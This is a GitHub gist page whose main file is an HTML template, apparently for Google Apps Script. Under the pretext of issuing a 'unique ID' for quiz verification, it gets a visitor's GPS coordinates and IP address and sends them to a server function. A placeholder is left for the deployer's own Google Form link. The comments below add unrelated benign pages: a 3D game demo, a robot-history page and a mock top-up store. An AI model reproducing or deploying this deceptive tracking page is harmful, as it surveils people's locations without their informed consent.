Skip to content

Instantly share code, notes, and snippets.

@zaelani23
Last active December 4, 2025 01:39
Show Gist options
  • Select an option

  • Save zaelani23/d3dcdc765eab14c6a21ffa306e338108 to your computer and use it in GitHub Desktop.

Select an option

Save zaelani23/d3dcdc765eab14c6a21ffa306e338108 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
</head>
<body onload="getLocation()">
<div class='container'>
<form>
<p class='h4 mb-4 text-center'>Klik 'Mulai' untuk melanjutkan!!</p>
<p>Aktifkan GPS SmartPhone kalian dan izinkan akses lokasi untuk mendapatkan unique id, silakan reload jika anda belum mengizinkan akses lokasi.</p>
<div class='form-group'>
<label for='ip'>IP Address:</label>
<?!= include(); ?>
</div>
<div class='form-group'>
<label for='unik'>Unique ID:</label><p>silakkan salin unique id anda untuk proses verifikasi jawaban anda nanti.</p>
<input type='text' class='form-control' id='unik' readonly>
</div>
<a type="button" class="btn btn-primary" href='GANTI DENGAN LINK GOOGLE FORM KALIAN' target='_blank'>Mulai</a>
</form>
</div>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
<script>
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition);
}
}
function makeid() {
var result = '';
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < 7; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
document.getElementById("unik").value = result;
return result;
}
function showPosition(position) {
google.script.run.processForm(makeid(),position.coords.latitude,position.coords.longitude);
}
</script>
</body>
</html>
@mholili403-lab
Copy link

<title>Halaman Web Pertamaku</title>

Halo, Dunia!

Ini adalah paragraf pertama saya.

Kunjungi Google

@mholili403-lab
Copy link

<title>Halaman Web Pertamaku</title>

hallo, teman!

gabut bang hehe.

Kunjungi Google

@Vrandganteng
Copy link

<!doctype html>

<title>The Lost Forest — Demo</title> <style> html,body { margin:0; padding:0; height:100%; overflow:hidden; background:#000; } #gameCanvas { display:block; width:100vw; height:100vh; } /* joystick */ #joyBase { position: absolute; left: 16px; bottom: 16px; width: 120px; height: 120px; border-radius: 50%; background: rgba(255,255,255,0.06); touch-action: none; } #joyKnob { position: absolute; left: 50%; top: 50%; transform: translate(-50%,-50%); width: 56px; height: 56px; border-radius: 50%; background: rgba(255,255,255,0.14); } /* top-right UI */ #ui { position: absolute; right: 12px; top: 12px; display:flex; gap:8px; align-items:center; } .btn { background: rgba(255,255,255,0.06); color: #fff; padding: 8px 12px; border-radius: 8px; font-family: sans-serif; font-size: 14px; user-select:none; -webkit-user-select:none; } #hint { position:absolute; left:50%; transform:translateX(-50%); bottom: 150px; color:#ddd; font-family: sans-serif; background: rgba(0,0,0,0.35); padding:6px 10px; border-radius:8px; display:none; } #title { position:absolute; left:12px; top:12px; color:#dfe; font-family:sans-serif; text-shadow:0 1px 6px rgba(0,0,0,0.7); } </style>
The Lost Forest — Demo
Collect
Items: 0
Dekati bola bercahaya untuk mengambilnya
<script src="https://unpkg.com/[email protected]/build/three.min.js"></script> <script> // Basic Three.js 3D exploration demo with virtual joystick // Scene setup const canvas = document.getElementById('gameCanvas'); const renderer = new THREE.WebGLRenderer({ canvas, antialias: true }); renderer.setPixelRatio(window.devicePixelRatio ? Math.min(window.devicePixelRatio, 2) : 1); renderer.setSize(window.innerWidth, window.innerHeight); const scene = new THREE.Scene(); scene.fog = new THREE.FogExp2(0x0b0f07, 0.03); // mysterious fog const camera = new THREE.PerspectiveCamera(65, window.innerWidth/window.innerHeight, 0.1, 1000); // Lights const hemi = new THREE.HemisphereLight(0x9bbf7f, 0x072028, 0.7); scene.add(hemi); const dir = new THREE.DirectionalLight(0xfff3b0, 0.6); dir.position.set(-5,10,2); scene.add(dir); // Ground (simple) const groundGeo = new THREE.PlaneGeometry(200,200, 8,8); const groundMat = new THREE.MeshStandardMaterial({ color: 0x183214, roughness:1 }); const ground = new THREE.Mesh(groundGeo, groundMat); ground.rotation.x = -Math.PI/2; ground.receiveShadow = true; scene.add(ground); // Add some simple "trees" (cylinders + cones) scattered function addTree(x,z,scale=1){ const trunk = new THREE.Mesh(new THREE.CylinderGeometry(0.2*scale,0.3*scale,2*scale,8), new THREE.MeshStandardMaterial({ color:0x4b2f1a })); trunk.position.set(x,1*scale, z); const leaves = new THREE.Mesh(new THREE.ConeGeometry(1.4*scale,3*scale,8), new THREE.MeshStandardMaterial({ color:0x0f5b2f })); leaves.position.set(x,2.2*scale, z); scene.add(trunk); scene.add(leaves); } for(let i=0;i<60;i++){ const x = (Math.random()-0.5)*140; const z = (Math.random()-0.5)*140; const s = 0.6 + Math.random()*1.2; addTree(x,z,s); } // Player (simple capsule made with cylinder+sphere) const player = new THREE.Group(); const bodyMat = new THREE.MeshStandardMaterial({ color: 0xcaa66a }); const cylinder = new THREE.Mesh(new THREE.CylinderGeometry(0.35,0.35,1.6,12), bodyMat); cylinder.position.y = 0.9; const head = new THREE.Mesh(new THREE.SphereGeometry(0.35,12,12), bodyMat); head.position.y = 1.6; player.add(cylinder); player.add(head); scene.add(player); // Camera offset following player const camOffset = new THREE.Vector3(0,2.6, -4.5); // Collectible: glowing orb const orbGeo = new THREE.SphereGeometry(0.35, 16, 16); const orbMat = new THREE.MeshStandardMaterial({ emissive:0x88ffcc, emissiveIntensity:1, color:0x003322 }); const orb = new THREE.Mesh(orbGeo, orbMat); orb.position.set(6,0.4, -5); scene.add(orb); // Light around orb const orbLight = new THREE.PointLight(0x76ffda, 1, 6); orbLight.position.copy(orb.position); scene.add(orbLight); // Movement variables let moveX = 0, moveZ = 0; const speed = 3.2; // units per second let collected = 0; // Simple ground collision clamp to keep inside area function clampPos(vec){ const limit = 90; vec.x = Math.max(-limit, Math.min(limit, vec.x)); vec.z = Math.max(-limit, Math.min(limit, vec.z)); } // UI const scoreEl = document.getElementById('score'); const colBtn = document.getElementById('colBtn'); const hint = document.getElementById('hint'); // Detect proximity to orb function checkProximity(){ const dist = player.position.distanceTo(orb.position); if(dist < 1.4 && orb.visible){ hint.style.display = 'block'; return true; } else { hint.style.display = 'none'; return false; } } colBtn.addEventListener('click', () => { if(checkProximity() && orb.visible){ orb.visible = false; orbLight.intensity = 0; collected++; scoreEl.textContent = 'Items: ' + collected; hint.textContent = 'Kamu menemukan artefak!'; setTimeout(()=> hint.style.display = 'none', 2000); } }); // Keyboard controls for desktop const keys = {}; window.addEventListener('keydown', (e) => { keys[e.key.toLowerCase()] = true; updateFromKeys(); }); window.addEventListener('keyup', (e) => { keys[e.key.toLowerCase()] = false; updateFromKeys(); }); function updateFromKeys(){ moveX = 0; moveZ = 0; if(keys['arrowup'] || keys['w']) moveZ = -1; if(keys['arrowdown'] || keys['s']) moveZ = 1; if(keys['arrowleft'] || keys['a']) moveX = -1; if(keys['arrowright'] || keys['d']) moveX = 1; } // Virtual joystick (simple) const joyBase = document.getElementById('joyBase'); const joyKnob = document.getElementById('joyKnob'); let activeTouchId = null; let baseRect = joyBase.getBoundingClientRect(); function resetKnob(){ joyKnob.style.transform = 'translate(-50%,-50%)'; moveX=0; moveZ=0; } resetKnob(); function onStart(e){ e.preventDefault(); baseRect = joyBase.getBoundingClientRect(); const t = e.changedTouches ? e.changedTouches[0] : e; activeTouchId = t.identifier ?? 'mouse'; handleMove(t.clientX, t.clientY); } function onMoveTouch(e){ e.preventDefault(); if(activeTouchId===null) return; const touches = e.changedTouches ? e.changedTouches : [e]; for(const t of touches){ if((t.identifier ?? 'mouse') === activeTouchId) handleMove(t.clientX, t.clientY); } } function onEndTouch(e){ e.preventDefault(); const touches = e.changedTouches ? e.changedTouches : [e]; for(const t of touches){ if((t.identifier ?? 'mouse') === activeTouchId){ activeTouchId = null; resetKnob(); } } } function handleMove(cx, cy){ const centerX = baseRect.left + baseRect.width/2; const centerY = baseRect.top + baseRect.height/2; const dx = cx - centerX; const dy = cy - centerY; const max = baseRect.width/2 - 10; const clampedX = Math.max(-max, Math.min(max, dx)); const clampedY = Math.max(-max, Math.min(max, dy)); joyKnob.style.transform = `translate(calc(-50% + ${clampedX}px), calc(-50% + ${clampedY}px))`; // Convert to movement (-1..1) moveX = clampedX / max; moveZ = clampedY / max; // down is positive, adjust later // invert Z so pushing up moves forward (negative Z) moveZ = moveZ; } joyBase.addEventListener('touchstart', onStart, {passive:false}); joyBase.addEventListener('touchmove', onMoveTouch, {passive:false}); joyBase.addEventListener('touchend', onEndTouch, {passive:false}); joyBase.addEventListener('mousedown', onStart); window.addEventListener('mousemove', onMoveTouch); window.addEventListener('mouseup', onEndTouch); // Animation loop let lastTime = performance.now(); function animate(now){ const dt = (now - lastTime)/1000; lastTime = now; // Movement mapping: joystick Y up => negative moveZ (forward). Our joystick returns +down, -up let vx = moveX; let vz = moveZ; // small deadzone if(Math.abs(vx) < 0.08) vx = 0; if(Math.abs(vz) < 0.08) vz = 0; // We'll interpret vz so that pushing up (negative dy) moves forward (negative z) // In our handleMove, moveZ is positive when dragging down; so invert: vz = -vz; // Move direction relative to camera forward const moveVec = new THREE.Vector3(vx, 0, vz); if(moveVec.lengthSq() > 0.0001){ moveVec.normalize(); // rotate moveVec by camera Y rotation so joystick is camera-relative const camY = camera.rotation.y; const q = new THREE.Quaternion().setFromAxisAngle(new THREE.Vector3(0,1,0), camY); moveVec.applyQuaternion(q); // Update player position player.position.x += moveVec.x * speed * dt; player.position.z += moveVec.z * speed * dt; clampPos(player.position); // rotate player to face movement const targetDir = moveVec.clone(); targetDir.y = 0; targetDir.normalize(); const angle = Math.atan2(targetDir.x, targetDir.z); player.rotation.y = THREE.MathUtils.lerpAngle(player.rotation.y, angle, Math.min(1, 8*dt)); } // Camera follows behind player const desiredCamPos = player.position.clone().add(camOffset.clone().applyAxisAngle(new THREE.Vector3(0,1,0), player.rotation.y)); camera.position.lerp(desiredCamPos, 1 - Math.exp(-6 * dt)); const lookAt = player.position.clone().add(new THREE.Vector3(0,1.1,0)); camera.lookAt(lookAt); // Simple idle bob for orb orb.position.y = 0.4 + Math.sin(now*0.002)*0.12; orbLight.position.copy(orb.position); // update proximity hint checkProximity(); renderer.render(scene, camera); requestAnimationFrame(animate); } // initial positions player.position.set(0,0,0); camera.position.copy(player.position).add(camOffset); camera.lookAt(player.position); requestAnimationFrame(animate); // handle resize window.addEventListener('resize', () => { renderer.setSize(window.innerWidth, window.innerHeight); camera.aspect = window.innerWidth/window.innerHeight; camera.updateProjectionMatrix(); }); // basic touch-to-collect shortcut: double tap anywhere = try collect let lastTap = 0; window.addEventListener('touchend', (e) => { const t = performance.now(); if(t - lastTap < 350){ colBtn.click(); } lastTap = t; }); </script>

@alxyahmzh-hub
Copy link

<title>Sejarah Perkembangan Robot</title> <style> /* === Gaya Futuristik === */ body { font-family: 'Poppins', sans-serif; background-color: #0b0c10; color: #c5c6c7; margin: 0; padding: 0; overflow-x: hidden; }
/* Efek teks neon */
header h1 {
  color: #66fcf1;
  text-shadow: 0 0 10px #66fcf1, 0 0 20px #45a29e, 0 0 30px #45a29e;
  animation: glow 2s ease-in-out infinite alternate;
}

@keyframes glow {
  from { text-shadow: 0 0 10px #66fcf1; }
  to { text-shadow: 0 0 30px #45a29e; }
}

header {
  background: linear-gradient(90deg, #0b0c10, #1f2833);
  text-align: center;
  padding: 60px 20px;
  border-bottom: 2px solid #45a29e;
}

header p {
  color: #c5c6c7;
  font-size: 1.2em;
  animation: fadeIn 2s ease;
}

section {
  max-width: 900px;
  margin: 40px auto;
  background: rgba(31, 40, 51, 0.9);
  padding: 40px;
  border-radius: 20px;
  box-shadow: 0 0 20px rgba(102, 252, 241, 0.2);
  transform: translateY(40px);
  animation: floatUp 1s ease forwards;
}

@keyframes floatUp {
  to { transform: translateY(0); opacity: 1; }
}

h2 {
  color: #66fcf1;
  border-left: 5px solid #45a29e;
  padding-left: 10px;
}

img {
  width: 100%;
  border-radius: 10px;
  margin-top: 15px;
  box-shadow: 0 0 15px rgba(102, 252, 241, 0.3);
  transition: transform 0.5s;
}

img:hover {
  transform: scale(1.05);
}

/* Efek partikel latar belakang */
.particles {
  position: fixed;
  top: 0; left: 0;
  width: 100%; height: 100%;
  z-index: -1;
  overflow: hidden;
}

.dot {
  position: absolute;
  width: 4px; height: 4px;
  background-color: #66fcf1;
  border-radius: 50%;
  opacity: 0.6;
  animation: move 10s linear infinite;
}

@keyframes move {
  0% { transform: translateY(0); }
  100% { transform: translateY(100vh); opacity: 0; }
}

footer {
  text-align: center;
  background-color: #1f2833;
  color: #c5c6c7;
  padding: 20px;
  font-size: 14px;
  border-top: 2px solid #45a29e;
  margin-top: 40px;
}
</style>
<script> for (let i = 0; i < 50; i++) { const dot = document.createElement('div'); dot.classList.add('dot'); dot.style.left = Math.random() * 100 + 'vw'; dot.style.animationDelay = Math.random() * 10 + 's'; dot.style.animationDuration = (5 + Math.random() * 5) + 's'; document.body.querySelector('.particles').appendChild(dot); } </script>

Sejarah Perkembangan Robot

Dari mesin sederhana hingga kecerdasan buatan modern

Awal Mula Robot

Konsep robot sudah dikenal sejak zaman kuno, ketika ilmuwan menciptakan mesin yang dapat bergerak sendiri. Pada abad ke-15, Leonardo da Vinci merancang robotic knight — manusia mekanik pertama di dunia.

Robot Leonardo da Vinci
<h2>Perkembangan di Abad ke-20</h2>
<p>Pada abad ke-20, istilah “robot” mulai populer lewat drama R.U.R karya Karel Čapek (1921). 
Setelah itu, robot digunakan dalam industri otomotif, elektronik, dan bahkan eksplorasi luar angkasa.</p>

<h2>Robot Modern dan AI</h2>
<p>Robot saat ini dilengkapi kecerdasan buatan (AI) yang memungkinkan mereka belajar, berbicara, dan beradaptasi. 
Contohnya adalah robot ASIMO dan Sophia yang bisa berinteraksi layaknya manusia.</p>
<img src="https://upload.wikimedia.org/wikipedia/commons/1/19/Humanoid_robot_ASIMO.jpg" alt="Robot modern ASIMO">

<h2>Masa Depan Robot</h2>
<p>Di masa depan, robot akan semakin dekat dengan kehidupan manusia — menjadi asisten rumah, tenaga kerja, bahkan penjelajah planet. 
Namun, kita tetap perlu memastikan teknologi ini digunakan untuk kebaikan dan kemanusiaan.</p>

© 2025 | Website oleh [Namamu]

@alxyahmzh-hub
Copy link

alya

@am8397505-crypto
Copy link

----- index.html -----
<!doctype html>

<title>TopUpByArif — Top Up Game, Pulsa & E-Wallet</title>
TB

TopUpByArif

Cepat • Aman • Mewah

Hubungi Mulai Top Up

Top Up Game, Pulsa & E-Wallet CepatAmanMewah

Nikmati proses top up otomatis, harga kompetitif, dan layanan customer care 24/7. Pilih game atau layananmu, masukkan ID, bayar, dan saldo langsung masuk.

Saldo Tersedia

Rp 50.000

Top up cepat via QRIS / E-wallet / Bank

Top-up Cepat

<section class="products container">
  <h3 class="section-title">Pilihan Produk</h3>
  <div class="products-grid" id="products-grid">
    <!-- product cards injected by JS -->
  </div>
</section>

<section class="how container">
  <h3 class="section-title">Cara Order</h3>
  <ol>
    <li>Pilih produk & nominal.</li>
    <li>Masukkan ID game / nomor telepon / akun e-wallet.</li>
    <li>Pilih metode pembayaran & bayar.</li>
    <li>Pesanan diproses otomatis, saldo masuk langsung.</li>
  </ol>
</section>

<section class="testimoni container">
  <h3 class="section-title">Testimoni</h3>
  <div class="testi-grid" id="testi-grid">
    <div class="testi">"Cepat dan aman! Diamond masuk 1 menit." — Raka</div>
    <div class="testi">"Harga bersaing, CS fast respon." — Siti</div>
    <div class="testi">"Rekomendasi!" — Bayu</div>
  </div>
</section>
© TopUpByArif
Payment: QRIS • Dana • GoPay • Ovo • Bank

Order

Produk Nominal ID Game / No HP Metode Pembayaran QRIS Dana GoPay Bank Transfer
Bayar & Proses Batal
<script src="script.js"></script>

----- styles.css -----
/* styles.css - neon premium theme */
:root{
--bg:#07070b;
--card:#0f1116;
--neon:#00ff88;
--accent:#9b59ff;
--muted:#9aa0a6;
--glass: rgba(255,255,255,0.03);
}
*{box-sizing:border-box;font-family:'Poppins',system-ui,-apple-system,Segoe UI,Roboto,'Helvetica Neue',Arial}
html,body{height:100%;margin:0;background:linear-gradient(180deg,#040406 0%,#0b0b10 60%);color:#e6eef8}
.container{max-width:1100px;margin:0 auto;padding:20px}
.nav{position:sticky;top:0;background:linear-gradient(180deg, rgba(0,0,0,0.4), rgba(0,0,0,0.2));backdrop-filter: blur(6px);border-bottom:1px solid rgba(255,255,255,0.03)}
.nav .container{display:flex;align-items:center;justify-content:space-between}
.brand{display:flex;gap:12px;align-items:center}
.logo{width:48px;height:48px;border-radius:12px;background:linear-gradient(135deg,var(--neon),var(--accent));display:flex;align-items:center;justify-content:center;font-weight:700;color:#051018}
.brand h1{margin:0;font-size:18px}
.tag{color:var(--muted);font-size:12px;margin-top:2px}
.nav-actions{display:flex;gap:12px;align-items:center}
button, .btn-primary, .btn-ghost{font-weight:600;padding:10px 14px;border-radius:10px;border:0;cursor:pointer}
.btn-primary{background:linear-gradient(90deg,var(--neon),var(--accent));color:#051018;box-shadow:0 6px 24px rgba(0,255,120,0.06);}
.btn-ghost{background:transparent;border:1px solid rgba(255,255,255,0.04);color:var(--neon)}
.hero{padding:36px 0}
.hero-inner{display:flex;gap:24px;align-items:stretch}
.hero-left{flex:1}
.hero-right{width:320px}
.hero h2{font-size:28px;margin:0 0 12px}
.lead{color:var(--muted);margin-top:8px}
.neon{color:var(--neon);font-weight:700}
.card{background:linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01));border-radius:12px;padding:16px;margin-bottom:14px;border:1px solid rgba(255,255,255,0.03)}
.balance .big{font-size:22px;margin:8px 0}
.quick-grid{display:flex;flex-wrap:wrap;gap:8px}
.quick-item{background:var(--glass);padding:8px;border-radius:8px;font-size:13px;border:1px solid rgba(255,255,255,0.02)}
.products{padding:20px 0}
.section-title{font-size:20px;margin-bottom:12px}
.products-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(220px,1fr));gap:16px}
.product{background:linear-gradient(180deg, rgba(255,255,255,0.015), rgba(255,255,255,0.01));padding:16px;border-radius:12px;border:1px solid rgba(255,255,255,0.03);display:flex;flex-direction:column;gap:8px}
.product .title{font-weight:600}
.product .price{color:var(--neon);font-weight:700}
.product .buy{margin-top:auto;display:flex;gap:8px}
.btn-small{padding:8px 10px;border-radius:8px}
.how{padding:12px 0}
.testimoni{padding:12px 0}
.testi-grid{display:flex;gap:12px}
.testi{background:var(--card);padding:14px;border-radius:10px;border:1px solid rgba(255,255,255,0.02)}
.site-footer{padding:16px 0;border-top:1px solid rgba(255,255,255,0.02);margin-top:30px}
.footer-inner{display:flex;justify-content:space-between;color:var(--muted)}
.modal{position:fixed;inset:0;background:linear-gradient(180deg, rgba(2,2,6,0.6), rgba(2,2,6,0.8));display:flex;align-items:center;justify-content:center;padding:20px}
.modal-card{width:100%;max-width:520px;background:linear-gradient(180deg,#07101f,#08111a);border-radius:12px;padding:18px;border:1px solid rgba(255,255,255,0.03);position:relative}
.modal-close{position:absolute;right:12px;top:12px;background:transparent;color:var(--muted);border:0;font-size:18px}
label{display:block;margin:10px 0;color:var(--muted)}
input,select{width:100%;padding:10px;border-radius:8px;border:1px solid rgba(255,255,255,0.04);background:transparent;color:inherit}
.form-actions{display:flex;gap:8px;margin-top:12px}
.order-result{margin-top:12px;padding:12px;border-radius:8px;background:rgba(0,0,0,0.25)}
.hidden{display:none}
@media(max-width:880px){.hero-inner{flex-direction:column}.hero-right{width:100%}.footer-inner{flex-direction:column;gap:8px}}

----- script.js -----
// script.js - mock frontend logic (no backend)
const products = [
{id: 'mlbb', name: 'MLBB Diamond', game: 'Mobile Legends', options: [50, 90, 190, 380], currency: 'Diamond'},
{id: 'ff', name: 'Free Fire Diamond', game: 'Free Fire', options: [50, 140, 355], currency: 'Diamond'},
{id: 'pubg', name: 'PUBG UC', game: 'PUBG Mobile', options: [60, 300, 620], currency: 'UC'},
{id: 'pulsa', name: 'Pulsa Telkomsel', game: 'Pulsa', options: [5000, 10000, 20000], currency: 'Rp'},
{id: 'ewallet', name: 'Top Up Dana', game: 'E-Wallet', options: [10000, 50000, 100000], currency: 'Rp'},
];

// helper: format currency
function formatRp(n){ return n.toString().replace(/\B(?=(\d{3})+(?!\d))/g, '.') }

document.addEventListener('DOMContentLoaded', ()=>{
document.getElementById('year').textContent = new Date().getFullYear();

const productsGrid = document.getElementById('products-grid');
const quick = document.getElementById('quick-products');
const balance = document.getElementById('balance');

// populate quick
products.slice(0,4).forEach(p=>{
const div = document.createElement('div');div.className='quick-item';div.textContent=p.name;quick.appendChild(div);
});

// product cards
products.forEach(p=>{
const card = document.createElement('div');card.className='product';
const title = document.createElement('div');title.className='title';title.textContent=p.name;
const meta = document.createElement('div');meta.textContent=p.game + ' • ' + p.currency;
const opts = document.createElement('div');opts.style.display='flex';opts.style.gap='8px';
p.options.forEach(o=>{const b=document.createElement('div');b.className='btn-small btn-ghost';b.textContent=o + ' ' + p.currency;b.addEventListener('click',()=>openOrder(p,o));opts.appendChild(b)});
const buy = document.createElement('div');buy.className='buy';
const price = document.createElement('div');price.className='price';price.textContent='Rp ' + formatRp(calcPrice(p, p.options[0]));
const btn = document.createElement('button');btn.className='btn-primary';btn.textContent='Beli';btn.addEventListener('click',()=>openOrder(p,p.options[0]));
buy.appendChild(price);buy.appendChild(btn);

card.appendChild(title);card.appendChild(meta);card.appendChild(opts);card.appendChild(buy);
productsGrid.appendChild(card);

});

// modal controls
const modal = document.getElementById('modal');
const modalClose = document.getElementById('modal-close');
const modalCancel = document.getElementById('modal-cancel');
document.getElementById('btn-start').addEventListener('click', ()=> openOrder());
document.getElementById('cta-topup').addEventListener('click', ()=> openOrder());
document.getElementById('btn-contact').addEventListener('click', ()=> alert('Hubungi via WhatsApp: +62812xxxx'));
modalClose.addEventListener('click', closeModal);
modalCancel.addEventListener('click', closeModal);

function openOrder(product=null, nominal=null){
modal.classList.remove('hidden');
const ps = document.getElementById('product-select'); ps.innerHTML='';
products.forEach(p=>{const o=document.createElement('option');o.value=p.id;o.textContent=p.name;ps.appendChild(o)});
const ns = document.getElementById('nominal-select'); ns.innerHTML='';
const selected = product || products[0];
selected.options.forEach(opt=>{const o=document.createElement('option');o.value=opt;o.textContent=opt + ' ' + selected.currency;ns.appendChild(o)});
if(product) ps.value = product.id;
if(nominal) ns.value = nominal;

// when product changes, update nominals
ps.onchange = function(){
  const pid = ps.value; const p = products.find(x=>x.id===pid);
  ns.innerHTML=''; p.options.forEach(opt=>{const o=document.createElement('option');o.value=opt;o.textContent=opt + ' ' + p.currency;ns.appendChild(o)})
}

}

function closeModal(){
document.getElementById('order-form').reset();
document.getElementById('order-result').classList.add('hidden');
modal.classList.add('hidden');
}

// order form submit (mock)
document.getElementById('order-form').addEventListener('submit', async (e)=>{
e.preventDefault();
const pid = document.getElementById('product-select').value;
const nom = document.getElementById('nominal-select').value;
const uid = document.getElementById('user-id').value.trim();
const pay = document.getElementById('payment-select').value;
if(!uid){alert('Masukkan ID / No HP');return}

// mock processing
const result = document.getElementById('order-result');
result.classList.remove('hidden'); result.innerHTML = '<b>Memproses pesanan...</b>';

// simulate API call delay
await new Promise(r=>setTimeout(r,1200));

// mock success
const orderId = 'ORD' + Date.now();
result.innerHTML = `<div>Pesanan sukses!<br>Order ID: <b>${orderId}</b><br>Produk: <b>${pid}</b><br>Nominal: <b>${nom}</b><br>Metode: <b>${pay}</b><br>Status: <b>Berhasil</b></div>`;

// optionally reduce balance (mock)
const curBal = parseInt(document.getElementById('balance').textContent.replace(/\D/g,''));
const price = calcPrice(products.find(p=>p.id===pid), nom);
document.getElementById('balance').textContent = Math.max(0, curBal - price);

// auto close after delay
setTimeout(()=>{closeModal()}, 2200);

});

});

function calcPrice(product, nominal){
// simple mock pricing logic
const base = 1000; // base per unit
let multiplier = 1;
if(product.currency === 'Diamond' || product.currency === 'UC') multiplier = 200; // made-up
if(product.game === 'Pulsa' || product.game === 'E-Wallet') multiplier = 1;
const price = (Number(nominal) * multiplier) + base;
return Math.round(price);
}

@clevintjuniortapun-sudo

Tolong akun saya balikin ralvindra2_

@clevintjuniortapun-sudo

Uploading 1000166293.png…

@zaelani23
Copy link
Author

Tolong akun saya balikin ralvindra2_

Maaf saya gak buka jasa balikin akun.

Btw kalian bisa command disini darimana?

@gustiyt15-glitch
Copy link

gustiyt15-glitch commented Nov 19, 2025 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment